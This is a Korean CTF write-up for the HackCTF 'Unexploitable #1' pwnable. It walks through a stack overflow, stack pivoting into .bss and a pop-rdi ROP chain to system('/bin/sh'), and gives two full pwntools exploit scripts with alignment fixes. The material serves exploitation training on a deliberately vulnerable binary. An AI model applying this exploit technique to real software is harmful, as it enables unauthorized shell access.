[HackCTF] (Pwnable) Unexploitable #1 풀이
문제실행시. 입력받고 종료한다. system@plt 가 주어진 것 같다.
gift 함수에서 system 함수를 실행시켜주는데, 인자가 "use this system gadget :D" 이다.
가젯으로 쓸수있을것같다.
입력받는 부분이다. rbp-0x10 에 0x40 만큼 입력받으므로,
0x30 만큼 overflow 할 수 있다.
NX 만 enable 되어 있으므로, 편하게 ROP할 수 있을 것같다.
fgets 로 .bss 영역에 /bin/sh 를 입력받고,
pop rdi 가젯을 이용해 system('/bin/sh') 를 출력한다.
하지만 3번째 인자인 stdin 을 넣어줄 pop rdx 가젯이 보이지 않는다.
할수없이 main+113 으로 리턴해 fgets 함수를 다시 호출해야겠다.
Jsec 님 블로그에 잘 정리가 되어있다.
Stack pivoting 을 이용하여, rsp 를 bss 영역으로 조작한 뒤,
/bin/sh 를 입력하고 system 으로 리턴해야겠다.
payload 1 - [buf] | [rbp (bss+0x10)] | main+113 |
rbp-0x10 에 입력받으므로, 입력하고자하는 주소 +0x10 으로 rbp 를 조작한다.
payload 2 - [/bin/sh] | [Dummy(17)] | pop rdi | bss | system (gift+14)
main 에서 다시한번 fgets 를 실행했을때 payload 이다.
bss 에 입력을 받고, 스택 프롤로그 (mov rsp, rbp | pop rbp | ret ) 를 거치면서,
rsp 는 bss+0x10 으로 조작되고, pop rbp 에서 rbp 는 [bss+0x10] 으로 조작되고,
rsp 는 다시 bss+0x18 으로 조작되어 bss+0x18 으로 리턴하게된다.
그렇다면, 두번째 입력을 받을때 /bin/sh 를 포함해 0x18 을 맞춰준뒤 (24)
pop rdi 가젯으로 인자를 전달한뒤 system 으로 리턴하면 되겠다.
from pwn import *
#r=remote("ctf.j0n9hyun.xyz",3023)
r=process("./Unexploitable_1")
b=ELF("./Unexploitable_1")
context.log_level='debug'
prdi=0x4007d3
bss=0x601080
pay=b'x'*0x10
pay+=p64(bss+0x10)
pay+=p64(b.symbols['main']+113)
r.sendline(pay)
pay2='/bin/sh'.ljust(0x18,'\x00').encode()
pay2+=p64(prdi)
pay2+=p64(bss)
pay2+=p64(b.symbols['gift']+14)
r.sendline(pay2)
r.interactive()
오류가 난다. system 함수 호출할때 나는것 같은데,
rsp 를 확인해보니, bss 를 스택으로 쓰다보니, 0x600f~~ 까지 내려온것같다.
그렇다면, bss 의 범위를 보자.
0x601000 ~ 0x602000 까지 rw (read and write) 퍼미션이 부여된 공간이니,
적당히 0x602000 전에 입력을 받아야 스택을 많이 사용해도 0x601000 밑으로 내려가지 않는다.
bss 에 0x800 정도를 더해주면 되겠다.
from pwn import *
#r=remote("ctf.j0n9hyun.xyz",3023)
r=process("./Unexploitable_1")
b=ELF("./Unexploitable_1")
context.log_level='debug'
prdi=0x4007d3
bss=0x601080+0x800
pay=b'x'*0x10
pay+=p64(bss+0x10)
pay+=p64(b.symbols['main']+113)
r.sendline(pay)
pay2='/bin/sh'.ljust(0x18,'\x00').encode()
pay2+=p64(prdi)
pay2+=p64(bss)
pay2+=p64(b.symbols['gift']+14)
r.sendline(pay2)
r.interactive()
! : b.plt['system'] 으로 리턴을 하면 do_system + 1094 쯤에서 세그멘테이션 오류가 난다.
이유는 rsp 가 0x10 단위로 정렬되어있지 않기때문인데, call system 이 부분으로 리턴해야
리턴주소를 pop 해서 rsp 가 8 감소하기때문에 오류가 나지 않는다.
bss 영역에 -8 을 해봤지만 같은 오류가 나왔다.